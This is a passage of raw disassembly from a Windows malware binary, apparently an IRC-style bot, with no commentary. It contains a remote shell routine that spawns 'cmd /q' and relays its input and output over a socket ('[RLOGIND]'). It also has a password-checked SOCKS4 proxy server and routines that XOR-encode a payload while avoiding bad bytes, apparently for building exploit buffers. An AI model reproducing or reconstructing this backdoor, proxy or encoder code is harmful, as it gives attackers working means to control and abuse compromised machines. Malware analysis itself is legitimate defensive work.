sub_40FDB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FEA9	proc near		; CODE XREF: sub_40FDB0+94p

Dst		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], esi
		call	_memset
		push	10h		; Size
		lea	eax, [ebp+var_14]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+Dst], edi
		mov	edi, ds:dword_41B100
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_41B134	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	ds:dword_41B094	; CreateProcessA
		test	eax, eax
		jz	short loc_40FF65
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_430548[eax], ecx
		call	ds:dword_41B050	; CloseHandle
		jmp	short loc_40FF7B
; ---------------------------------------------------------------------------


loc_40FF65:				; CODE XREF: sub_40FEA9+9Aj
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset aRlogindFaile_6 ; "[RLOGIND]: Failed to execute shell, err"...
		call	sub_402DD7
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_40FF7B:				; CODE XREF: sub_40FEA9+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FEA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF82	proc near		; DATA XREF: sub_40FC5F+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, ds:dword_41B04C
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_40FFAB:				; CODE XREF: sub_40FF82+8Fj
		call	ebx	; ReadFile
		test	eax, eax
		jz	short loc_410013
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_40FFE6


loc_40FFBC:				; CODE XREF: sub_40FF82+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_40FFD6
		cmp	dl, 0Dh
		jz	short loc_40FFD6
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_40FFD6:				; CODE XREF: sub_40FF82+44j
					; sub_40FF82+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_40FFBC


loc_40FFE6:				; CODE XREF: sub_40FF82+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_42EC00	; send
		test	eax, eax
		jle	short loc_410013
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_40FFAB
; ---------------------------------------------------------------------------


loc_410013:				; CODE XREF: sub_40FF82+2Dj
					; sub_40FF82+79j
		mov	esi, ds:dword_41B060
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_41002F
		call	esi	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"...
		call	sub_402DD7
		pop	ecx
		pop	ecx


loc_41002F:				; CODE XREF: sub_40FF82+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FF82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410034	proc near		; DATA XREF: sub_40FC5F+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_41004D:				; CODE XREF: sub_410034+39j
					; sub_410034+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_42EBCC	; recv
		test	eax, eax
		jle	loc_410152
		cmp	[ebp+var_10], ebx
		jbe	short loc_41006F
		dec	[ebp+var_10]
		jmp	short loc_41004D
; ---------------------------------------------------------------------------


loc_41006F:				; CODE XREF: sub_410034+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_410132
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_4100DF
		cmp	al, 7Fh
		jz	short loc_4100DF
		cmp	al, 3
		jnz	short loc_41009A
		push	ebx
		push	ebx
		call	ds:dword_41B14C	; GenerateConsoleCtrlEvent
		jmp	short loc_410106
; ---------------------------------------------------------------------------


loc_41009A:				; CODE XREF: sub_410034+5Aj
		cmp	al, 15h
		jnz	short loc_4100BC
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_4100F2
; ---------------------------------------------------------------------------


loc_4100BC:				; CODE XREF: sub_410034+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_4100F3
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_4100F2
; ---------------------------------------------------------------------------


loc_4100DF:				; CODE XREF: sub_410034+52j
					; sub_410034+56j
		cmp	esi, ebx
		jbe	short loc_410109
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_4100F2:				; CODE XREF: sub_410034+86j
					; sub_410034+A9j
		pop	ecx


loc_4100F3:				; CODE XREF: sub_410034+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_42EC00	; send
		test	eax, eax
		jle	short loc_410152


loc_410106:				; CODE XREF: sub_410034+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_410109:				; CODE XREF: sub_410034+ADj
		cmp	al, 0Dh
		jnz	loc_41004D
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	ds:dword_41B054	; WriteFile
		test	eax, eax
		jz	short loc_410152
		xor	esi, esi
		jmp	loc_41004D
; ---------------------------------------------------------------------------


loc_410132:				; CODE XREF: sub_410034+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_410143
		mov	[ebp+var_C], 1
		jmp	loc_41004D
; ---------------------------------------------------------------------------


loc_410143:				; CODE XREF: sub_410034+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_41004D
; ---------------------------------------------------------------------------


loc_410152:				; CODE XREF: sub_410034+2Bj
					; sub_410034+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410034	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_410157(char *Str,int)

sub_410157	proc near		; CODE XREF: sub_410177+Ap
					; sub_41024F+8p ...

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+Str]	; Str
		call	_strlen
		push	[esp+8+arg_4]	; Str
		mov	esi, eax
		call	_strlen
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_410157	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_410177(void *Dst,int,void *Str,int)

sub_410177	proc near		; CODE XREF: sub_410266+49p

var_4		= dword	ptr -4
Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]	; int
		push	[ebp+Str]	; Str
		call	sub_410157
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_410194
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_410194:				; CODE XREF: sub_410177+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+Str]	; Str
		call	_strlen
		push	[ebp+arg_C]	; Str
		mov	esi, eax
		call	_strlen
		mov	edi, eax
		mov	ebx, [ebp+Dst]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_427AD0, eax
		lea	eax, [edi+1]
		mov	dword_427AF1, eax
		lea	eax, [edi+17h]
		mov	dword_427AE9, eax
		pop	eax
		push	74h		; Size
		sub	eax, edi
		push	offset dword_427A6C ; Src
		push	ebx		; Dst
		mov	dword_427AFF, eax
		call	_memcpy
		push	esi		; Size
		lea	eax, [ebx+74h]
		push	[ebp+Str]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esi, 74h
		push	5		; Size
		push	offset aGet_0	; " get	"
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		add	esi, 5
		push	edi		; Size
		push	[ebp+arg_C]	; Src
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		add	esi, edi
		push	10h		; Size
		push	(offset	aGet_0+5) ; Src
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		add	esp, 44h
		add	esi, 10h
		push	edi		; Size
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esi, edi
		push	38h		; Size
		add	esi, ebx
		push	offset byte_427AF5 ; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410177	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_41024F(char *Str,int)

sub_41024F	proc near		; CODE XREF: sub_410266+Dp

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]	; int
		push	[esp+4+Str]	; Str
		call	sub_410157
		push	eax
		call	sub_4102D3
		add	esp, 0Ch
		retn
sub_41024F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_410266(void *Dst,int,char *Str,int)

sub_410266	proc near		; CODE XREF: sub_40119B+32p
					; .text:00401821p

Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+Str]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi		; int
		push	ebx		; Str
		call	sub_41024F
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_410286
		cmp	eax, 0FFFFh
		jbe	short loc_41028A


loc_410286:				; CODE XREF: sub_410266+17j
		xor	eax, eax
		jmp	short loc_4102CF
; ---------------------------------------------------------------------------


loc_41028A:				; CODE XREF: sub_410266+1Ej
		push	esi
		push	edi		; int
		push	ebx		; Str
		call	sub_410157
		add	eax, 101h
		push	eax		; Size
		call	_malloc
		add	esp, 0Ch
		mov	esi, eax
		push	edi		; int
		push	ebx		; Str
		push	edi		; int
		push	ebx		; Str
		call	sub_410157
		pop	ecx
		pop	ecx
		push	eax		; int
		push	esi		; Dst
		call	sub_410177
		push	eax		; int
		push	esi		; int
		push	[ebp+arg_4]	; int
		push	[ebp+Dst]	; Dst
		call	sub_4102EE
		push	esi		; Memory
		mov	edi, eax
		call	_free
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_4102CF:				; CODE XREF: sub_410266+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_410266	endp


; =============== S U B	R O U T	I N E =======================================



sub_4102D3	proc near		; CODE XREF: sub_41024F+Ep
					; sub_4102EE+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4102DC
		inc	ecx


loc_4102DC:				; CODE XREF: sub_4102D3+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4102D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4102EE(void *Dst,int,int,int)

sub_4102EE	proc near		; CODE XREF: .text:00401846p
					; sub_410266+56p

var_4		= dword	ptr -4
Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_41030A
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_41030A
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_41030A
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_41030D


loc_41030A:				; CODE XREF: sub_4102EE+8j
					; sub_4102EE+Ej ...
		inc	[ebp+arg_C]


loc_41030D:				; CODE XREF: sub_4102EE+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_410335
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_41032E
		cmp	al, 0Dh
		jz	short loc_41032E
		cmp	al, 5Ch
		jz	short loc_41032E
		test	al, al
		jnz	short loc_410335


loc_41032E:				; CODE XREF: sub_4102EE+32j
					; sub_4102EE+36j ...
		add	[ebp+arg_C], 100h


loc_410335:				; CODE XREF: sub_4102EE+28j
					; sub_4102EE+3Ej
		push	[ebp+arg_C]
		call	sub_4102D3
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_41034D
		cmp	eax, 0FFFFh
		jbe	short loc_410354


loc_41034D:				; CODE XREF: sub_4102EE+56j
		xor	eax, eax
		jmp	loc_4103F2
; ---------------------------------------------------------------------------


loc_410354:				; CODE XREF: sub_4102EE+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4754BC
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_410384


loc_410368:				; CODE XREF: sub_4102EE+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_41037B
		cmp	al, 0Ah
		jz	short loc_41037B
		cmp	al, 0Dh
		jz	short loc_41037B
		cmp	al, 5Ch
		jnz	short loc_41037F


loc_41037B:				; CODE XREF: sub_4102EE+7Fj
					; sub_4102EE+83j ...
		inc	bl
		xor	edx, edx


loc_41037F:				; CODE XREF: sub_4102EE+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_410368


loc_410384:				; CODE XREF: sub_4102EE+78j
		cmp	ecx, esi
		mov	byte_4754BC, bl
		ja	short loc_4103B0
		push	15h		; Size
		push	offset dword_427A54 ; Src
		push	[ebp+Dst]	; Dst
		mov	byte_427A61, cl
		mov	byte_427A65, bl
		call	_memcpy
		add	esp, 0Ch
		push	15h
		jmp	short loc_4103D1
; ---------------------------------------------------------------------------


loc_4103B0:				; CODE XREF: sub_4102EE+9Ej
		push	17h		; Size
		push	offset dword_427A3C ; Src
		push	[ebp+Dst]	; Dst
		mov	word_427A4A, cx
		mov	byte_427A4F, bl
		call	_memcpy
		add	esp, 0Ch
		push	17h


loc_4103D1:				; CODE XREF: sub_4102EE+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_4103ED
		mov	edx, [ebp+Dst]
		lea	esi, [ecx+edx]


loc_4103DF:				; CODE XREF: sub_4102EE+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_4103DF


loc_4103ED:				; CODE XREF: sub_4102EE+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_4103F2:				; CODE XREF: sub_4102EE+61j
		pop	esi
		leave
		retn
sub_4102EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F5	proc near		; DATA XREF: sub_409557+510Fo

Source		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
Str		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_40]
		call	dword_42EBB4	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_42EC30	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_43054C[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_42EBE0	; bind
		test	eax, eax
		jnz	loc_410597
		push	0Ah
		push	edi
		call	dword_42EBDC	; listen
		test	eax, eax
		jnz	loc_410597
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_408401
		pop	ecx
		push	eax
		lea	eax, [ebp+Source]
		push	offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4104D0
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_34]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_D4]	; int
		call	sub_405E64
		add	esp, 14h


loc_4104D0:				; CODE XREF: sub_4103F5+B9j
					; sub_4103F5+172j ...
		lea	eax, [ebp+Source]
		push	eax
		call	sub_402D63
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_42EC44	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_42EC3C	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset aSocks4ClientCo ; "[SOCKS4]: Client connection from IP: %s"...
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	11h		; int
		push	eax		; Source
		call	sub_411C3A
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_430544[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_4105FA
		push	esi
		push	esi
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_430554[ecx], eax
		jz	short loc_410577


loc_410564:				; CODE XREF: sub_4103F5+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4104D0
		push	5
		call	ds:dword_41B048	; Sleep
		jmp	short loc_410564
; ---------------------------------------------------------------------------


loc_410577:				; CODE XREF: sub_4103F5+16Dj
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset aSocks4Failed_0 ; "[SOCKS4]: Failed to start client thread"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4104D0
; ---------------------------------------------------------------------------


loc_410597:				; CODE XREF: sub_4103F5+7Bj
					; sub_4103F5+8Cj
		push	edi
		call	dword_42EC48	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+Source]
		push	offset aSocks4Failed_1 ; "[SOCKS4]: Failed to start server on Por"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4105DA
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_34]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_D4]	; int
		call	sub_405E64
		add	esp, 14h


loc_4105DA:				; CODE XREF: sub_4103F5+1C3j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_402D63
		push	[ebp+var_3C]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41B06C	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4103F5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105FA	proc near		; DATA XREF: sub_4103F5+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
Dst		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
Str2		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43054C[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_42EB9C	; select
		test	eax, eax
		jnz	short loc_41067B
		push	dword ptr [esi]
		call	dword_42EC48	; closesocket
		push	[ebp+arg_0]
		call	sub_411F56
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_41067B:				; CODE XREF: sub_4105FA+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_42EBCC	; recv
		test	eax, eax
		jg	short loc_4106AC
		push	dword ptr [esi]
		call	dword_42EC48	; closesocket
		push	[ebp+arg_0]
		call	sub_411F56
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_4106AC:				; CODE XREF: sub_4105FA+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_4108A6
		cmp	[ebp+var_4CF], 1
		jnz	loc_4108A6
		cmp	[ebp+Str2], bl
		jz	short loc_410742
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		lea	eax, [ebp+Dst]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410742
		lea	eax, [ebp+Str2]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aSocks4Authenti ; "[SOCKS4]: Authentication failed. Remote"...
		call	sub_402DD7
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_42EC00	; send
		push	dword ptr [esi]
		call	dword_42EC48	; closesocket
		push	[ebp+arg_0]
		call	sub_411F56
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_410742:				; CODE XREF: sub_4105FA+CFj
					; sub_4105FA+E5j
		push	10h		; Size
		lea	eax, [ebp+var_18]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_42EC30	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4107DA
		call	dword_42EB50	; WSAGetLastError
		push	eax		; Args
		push	offset aSocks4ErrorFai ; "[SOCKS4]: Error: Failed to open socket("...
		call	sub_402DD7
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	_memset
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_42EC00	; send
		push	dword ptr [esi]
		call	dword_42EC48	; closesocket
		push	[ebp+arg_0]
		call	sub_411F56
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_4107DA:				; CODE XREF: sub_4105FA+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_42EB60	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410849
		call	dword_42EB50	; WSAGetLastError
		push	eax		; Args
		push	offset aSocks4ErrorF_0 ; "[SOCKS4]: Error: Failed to connect to	t"...
		call	sub_402DD7
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	_memset
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_42EC00	; send
		push	dword ptr [esi]
		call	dword_42EC48	; closesocket
		push	[ebp+arg_0]
		call	sub_411F56
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_410849:				; CODE XREF: sub_4105FA+1F0j
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_42EC00	; send
		push	dword ptr [esi]
		push	edi
		call	sub_4108BE
		pop	ecx
		pop	ecx
		push	edi
		call	dword_42EC48	; closesocket
		push	dword ptr [esi]
		call	dword_42EC48	; closesocket
		push	[ebp+arg_0]
		call	sub_411F56
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_4108A6:				; CODE XREF: sub_4105FA+B9j
					; sub_4105FA+C6j
		push	dword ptr [esi]
		call	dword_42EC48	; closesocket
		push	[ebp+arg_0]
		call	sub_411F56
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread
sub_4105FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


